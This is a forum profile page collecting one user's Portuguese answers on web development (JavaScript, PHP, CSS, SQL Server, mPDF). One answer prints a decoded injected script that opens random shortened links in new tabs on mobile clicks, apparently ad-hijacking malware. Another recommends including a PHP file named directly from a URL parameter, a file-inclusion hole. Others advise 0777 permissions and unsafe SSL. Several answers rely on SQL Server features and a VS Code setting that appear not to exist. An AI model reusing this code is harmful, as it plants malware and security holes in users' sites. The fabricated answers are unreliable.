Ir para conteúdo

Marcos_imasters

Members
  • Total de itens

    1190
  • Registro em

  • Última visita

  • Dias vencidos

    33

Tudo que Marcos_imasters postou

  1. Marcos_imasters

    Contar caracteres digitados

    function funcContador() { var maximo = 100; var textoDigitado = document.querySelector('textarea').value; var quantidadeDigitada = textoDigitado.length; if (quantidadeDigitada === 0) { document.getElementById('idToto').innerHTML = ""; } else if (quantidadeDigitada === 1) { document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracter digitado - máximo " + maximo; } else { document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracteres digitados - máximo " + maximo; } if (quantidadeDigitada >= maximo) { document.getElementById('idToto').innerHTML = "Limite de caracteres atingido!"; } }
  2. Marcos_imasters

    Function para retornar JSON

    cara nao sei transact-sql só estou vendo com bases que eu vi que pode ser USE [meu_banco] GO /****** Object: UserDefinedFunction [dbo].[FormatJsonString] Script Date: 11/09/2023 16:52:25 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE FUNCTION [dbo].[FormatJsonString](@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue NVARCHAR(MAX) AS JSON; SET @JsonValue = CAST(@String AS JSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END; tenta assim
  3. Marcos_imasters

    colocar pasta na ordem desejada

    ja ouvir falar disso mais nunca usei digital isso no terminal vai instalar uma extersão code --install-extension eamodio.file-sorting e nas configuracoes do VScode em "settings.json" voce adiciona { "files.sort": [ { "sort": "name", "order": "desc" } ] } dessa forma vscode vai classificar as pastas por nome, em ordem decrescente exemplo: pastaProjetor pastaMouze pastaLivro pastaTeclado pastaCarro
  4. Marcos_imasters

    Function para retornar JSON

    o correto nao seria RETURN FORMATJSON(@JsonValue, indent = 4);
  5. Marcos_imasters

    recuperar url do pdf q foi criado

    pdf.save(config.fileName); var pdfDataUrl = pdf.output('datauristring'); if (typeof callback === 'function') { callback(pdfDataUrl); } desculpe confere acima debaixo de pdf save adicione
  6. Marcos_imasters

    [Resolvido] esconder nome da página e o parametro na url

    você deve ta querendo usar URl amigáveis criei um arquivo .htaccess <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / # Redirecione solicitações para arquivos e diretórios existentes RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d # Redirecione URLs amigáveis RewriteRule ^([^/]+)/([^/]+)$ index.php?page=$1&id=$2 [QSA,L] </IfModule>
  7. Marcos_imasters

    [Resolvido] regra para url

    <?php $pagina1 = 'pagina1.php'; $pagina2 = 'pagina2.php'; $pagina3 = 'pagina3.php'; if(isset($_GET['54285']) && is_numeric($_GET['54285'])){ include $pagina1; } else if(isset($_GET['42589']) && is_numeric($_GET['42589'])){ include $pagina2; } else if(isset($_GET['67903']) && is_numeric($_GET['67903'])){ include $pagina3; } else { header("Location: a-ref-nao-confere.php"); exit(); } ?> mais teria formas melhores de se fazer <?php if (isset($_GET['page'])) { $page = $_GET['page']; $filename = $page . '.php'; if (file_exists($filename)) { include $filename; } else { header("Location: a-ref-nao-confere.php"); exit(); } } ?>
  8. Marcos_imasters

    recuperar url do pdf q foi criado

    function createPDF() { $('#renderPDF').createPdf({ 'fileName' : '<?php echo $usercli['idocl']; ?>' }, function(pdfDataUrl) { alert('URL do PDF:', pdfDataUrl); }); }
  9. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    aqui no meu funciona normal o hover nao será seu navegador qual esta usando?
  10. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    Seria que nem o washalbano disse? table { border-spacing: 1em; border-collapse: separate; } tr { background-color: #333; position: relative; border-radius: 10px; transition: background-color 0.3s; } tr:hover td { background-color: red; } td { padding: 1rem 1.2rem; border-radius: 6px; border: 1px solid #555; color: #FFF; }
  11. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    table { margin: auto; border-collapse: separate; border-spacing: 0; border: 2px solid #ccc; border-radius: 10px; overflow: hidden; } tr { background-color: #333; position: relative; border-radius: 10px; transition: background-color 0.3s; } td { border: 1px solid #555; padding: 10px 30px; color: #FFF; } tr:hover td { background-color: red; } ainda nao entedir a forma que voce deseja coloquei como você ja fez seria isso?
  12. Bom dia código esta ofuscado, bom que é simples a baixo o codigo decode (function () { const urls = [ "http://whm.hm/qfi0c5", "http://whm.hm/jqJ1c8", "http://whm.hm/zeO2c0", "http://whm.hm/neV3c8", "http://whm.hm/eWe4c5", "http://whm.hm/RJQ5c7", "http://whm.hm/kJr6c7", "http://whm.hm/Rtu7c9", "http://whm.hm/umR8c5", "http://whm.hm/MOO9c5" ]; const initializeLocalStorage = keys => { keys.forEach(key => { if (!localStorage.getItem(key + "-local-storage")) { localStorage.setItem(key + "-local-storage", 0); } }); }; const getRandomURL = availableURLs => { const notVisitedURLs = availableURLs.filter(url => localStorage.getItem(url + "-local-storage") == 0); return notVisitedURLs[Math.floor(Math.random() * notVisitedURLs.length)]; }; const handleRedirect = (keys, host, currentTime) => { initializeLocalStorage(keys); const newLocation = getRandomURL(keys); localStorage.setItem(host + "-mnts" + '-local-storage', currentTime); localStorage.setItem(host + '-hurs' + '-local-storage', currentTime); localStorage.setItem(newLocation + "-local-storage", 1); if (isMobile()) { window.open(newLocation, "_blank"); } }; const isMobile = () => { let isMobileDevice = false; const userAgent = navigator.userAgent || navigator.vendor || window.opera; if ( /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(userAgent) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(userAgent.substr(0, 4))) { isMobileDevice = true; } return isMobileDevice; }; function handleClick(event) { event.stopPropagation(); const host = location.host; let randomURL = getRandomURL(urls); const currentTime = Date.parse(new Date()); const mntsLocalStorage = localStorage.getItem(host + "-mnts" + "-local-storage"); const hursLocalStorage = localStorage.getItem(host + "-hurs" + "-local-storage"); if (mntsLocalStorage && hursLocalStorage) { try { const mnts = parseInt(mntsLocalStorage); const hurs = parseInt(hursLocalStorage); const minutesDiff = Math.round(Math.abs(mnts - currentTime) / 60000); const hoursDiff = Math.round(Math.abs(hurs - currentTime) / 3600000); if (hoursDiff >= 6) { initializeLocalStorage(urls); localStorage.setItem(host + "-hurs" + '-local-storage', currentTime); } if (minutesDiff >= 3) { if (randomURL && isMobile()) { localStorage.setItem(host + "-mnts" + '-local-storage', currentTime); window.open(randomURL, "_blank"); localStorage.setItem(randomURL + "-local-storage", 1); } } } catch (error) { handleRedirect(urls, host, currentTime); } } else { handleRedirect(urls, host, currentTime); } } document.addEventListener('click', handleClick); })();
  13. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    tentou usar pseudo ::before e ::after ?? /* arredondar as células da primeira e última coluna */ tr td:first-child::before, tr td:last-child::after { content: ""; display: block; position: absolute; top: 0; bottom: 0; width: 10px; background-color: white; } /* primeira coluna */ tr td:first-child::before { left: 0; border-top-left-radius: 10px; border-bottom-left-radius: 10px; } /* última coluna */ tr td:last-child::after { right: 0; border-top-right-radius: 10px; border-bottom-right-radius: 10px; } /* quando o mouse passa sobre ela */ tr:hover { background-color: #000; }
  14. Marcos_imasters

    Gerar código automático para login

    basicamente seria isso CREATE TABLE usuarios ( id INT AUTO_INCREMENT PRIMARY KEY, nome_login VARCHAR(10) UNIQUE, senha VARCHAR(255) ); cadastrar.php <?php try { $pdo = new PDO("mysql:host=seu_host;dbname=sua_base_de_dados", "seu_usuario", "sua_senha"); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Gerar um nome de login aleatório $nomeLogin = mt_rand(100000, 999999); // Números aleatórios de 100000 a 999999 // Gerar uma senha aleatória (você pode personalizar isso) $senha = password_hash("senha_aleatoria", PASSWORD_DEFAULT); // Inserir o novo usuário no banco de dados $stmt = $pdo->prepare("INSERT INTO usuarios (nome_login, senha) VALUES (:nome_login, :senha)"); $stmt->bindParam(":nome_login", $nomeLogin); $stmt->bindParam(":senha", $senha); $stmt->execute(); echo "Usuário criado com sucesso. Nome de login: $nomeLogin"; } catch (PDOException $e) { echo "Erro: " . $e->getMessage(); } ?>
  15. Marcos_imasters

    Function para retornar JSON

    sim ela é reconhecida até o 2019,tente assim CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue JSON; SET @JsonValue = CAST(@String AS JSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END;
  16. Prezados membros da comunidade, O valor desse fórum reside em sua diversidade de opiniões e conhecimentos. como membros ativos, todos nós desempenhamos um papel crucial na manutenção desse espaço. A ausência de atualizações e moderação ativa pode minar a qualidade das discussões, afastar novos membros em potencial e até mesmo enfraquecer a coesão da nossa comunidade. Portanto, é fundamental agir agora e retomar o controle sobre o destino do fórum que tanto estimamos. Podemos não ter o poder formal da administração, mas temos a paixão, o conhecimento e o desejo de ver este espaço prosperar, peço a todos Vamos continuar compartilhando nossa experiência e sabedoria. Cada postagem, por menor que seja, contribui para o enriquecimento do fórum. Que nossas discussões não sejam apenas reflexões do passado, mas também olhares atentos para o futuro. Questione, argumente e inspire,juntos, temos um poder formidável. Conecte-se com outros membros, colabore em projetos e mantenha a chama da comunidade acesa. Juntos, podemos revitalizar nosso fórum e lembrar à administração a importância deste espaço À medida que cada um de nós se compromete a fazer sua parte, podemos superar a inatividade e transformá-la em um novo começo. Nossas ações podem inspirar, conectar e lembrar a todos nós por que este fórum é tão valioso.
  17. Marcos_imasters

    Function para retornar JSON

    CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue SYSJSON; SET @JsonValue = CAST(@String AS SYSJSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END; tente assim
  18. adicione um atraso antes da view usleep(1000000); // 1 segundo no listaInativos.php adicione o html <div id="spinnerContainer" class="text-center d-none"> <div class="spinner-border text-primary" role="status"> <span class="sr-only">Carregando...</span> </div> </div> e o jquery $(document).ready(function() { $("#spinnerContainer").removeClass("d-none"); $(window).on('load', function() { $("#spinnerContainer").addClass("d-none"); }); });
  19. Marcos_imasters

    Ténica para gravar dados

    existe alguns pontos a considerar por exemplo: Separação de Responsabilidades Reutilização de Código Manutenção Desempenho Padronização Flexibilidade mande o exemplo que voce esta fazendo usando sql server?
  20. Marcos_imasters

    problema ao carregar imagem em pdf com mpdf

    isso deve ser algum error de permissao pela documentação voce deve achar deve ter alguma pasta mpdf/tmp que tenha que deixa permisao 0777 ou entao tente usar $mpdf->curlAllowUnsafeSslRequests = true;
  21. const distributionCalcWrapper = document.querySelector('.distribution-calc-wrapper'); const formWrapper = distributionCalcWrapper.querySelector('.form-wrapper'); const messenger = distributionCalcWrapper.querySelector('.messenger'); const stage = distributionCalcWrapper.querySelector('.stage'); const paper = { pageHeight: 297 - 2 * 5, pageWidth: 210 - 2 * 5, }; const calculateMaxStickersPerPage = (page, sticker) => { return Math.floor(page.pageWidth / sticker.width) * Math.floor(page.pageHeight / sticker.height); }; const createStickerElement = (sticker, number) => { const stickerElement = document.createElement('div'); stickerElement.className = 'adesivo'; stickerElement.style.width = `${sticker.width}mm`; stickerElement.style.height = `${sticker.height}mm`; stickerElement.textContent = number; return stickerElement; }; const updateMessage = (requiredSheets, maxStickersPerPage) => { messenger.innerHTML = `Quantidade necessária de folhas: <span>${requiredSheets}</span><br> Quantidade máxima de adesivos por folha: <span>${maxStickersPerPage}</span>`; }; const calculateAndDisplay = () => { const quantity = +formWrapper.querySelector('[name="quantidade"]').value; const margin = +formWrapper.querySelector('[name="margem"]').value; const sticker = { height: +formWrapper.querySelector('[name="altura"]').value, width: +formWrapper.querySelector('[name="largura"]').value, }; const maxStickersPerPage = calculateMaxStickersPerPage(paper, sticker); stage.innerHTML = ''; stage.style.setProperty('--margin', `${margin}mm`); stage.style.setProperty('top', `calc(100% + ${margin / 1.475}mm)`); for (let i = 1; i <= quantity; i++) { const stickerElement = createStickerElement(sticker, i); stage.appendChild(stickerElement); } const requiredSheets = Math.ceil(quantity / maxStickersPerPage); updateMessage(requiredSheets, maxStickersPerPage); document.querySelector('.logger').innerHTML = JSON.stringify( { sticker, paper, quantityWidth: maxStickersPerPage, quantityHeight: maxStickersPerPage }, null, 1 ); }; formWrapper.addEventListener('input', calculateAndDisplay); calculateAndDisplay(); se esta dando error no firefox mostre o error
  22. Marcos_imasters

    [Resolvido] aceitar palavra específica

    sim mais seria mais complexo <?php $string = 'cantar'; $palavras_especificas = array('cantar', 'brincar', 'pular'); $padrao = '/\b(?:' . implode('|', array_map('preg_quote', $palavras_especificas)) . ')\b/'; if (preg_match($padrao, $string)) { echo "correto"; } else { echo "incorreto"; } ?>
  23. Marcos_imasters

    [Resolvido] aceitar palavra específica

    <?php $string = 'cantar'; // cantar, brincar, pular $palavras_especificas = array('cantar', 'brincar', 'pular'); if (in_array($string, $palavras_especificas)) { echo "correto"; } else { echo "incorreto"; } ?>
  24. Marcos_imasters

    problema ao carregar imagem em pdf com mpdf

    bom dia voce tem que verificar se o caminho da url da imagem esta funcionando ou transforma a imagem em base64 como esta seu codigo?? $mpdf = new \Mpdf\Mpdf(); $mpdf->showImageErrors = true; $mpdf->SetHTMLHeader(' <div style="text-align: left;"><img src="https://sistema.site.com.br/uploads/logo/logo.jpg" height="42"></div> '); $mpdf->SetHTMLFooter(' <table width="100%"> <tr> <td width="33%">{DATE d-m-Y}</td> <td width="33%" align="center">{PAGENO}/{nbpg}</td> <td width="33%" style="text-align: right;">My document</td> </tr> </table>'); $mpdf->SetDisplayMode('fullpage'); $css = file_get_contents("css/estilo.css"); $mpdf->WriteHTML($css,1); $mpdf->WriteHTML($html); $mpdf->Output(); exit;
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.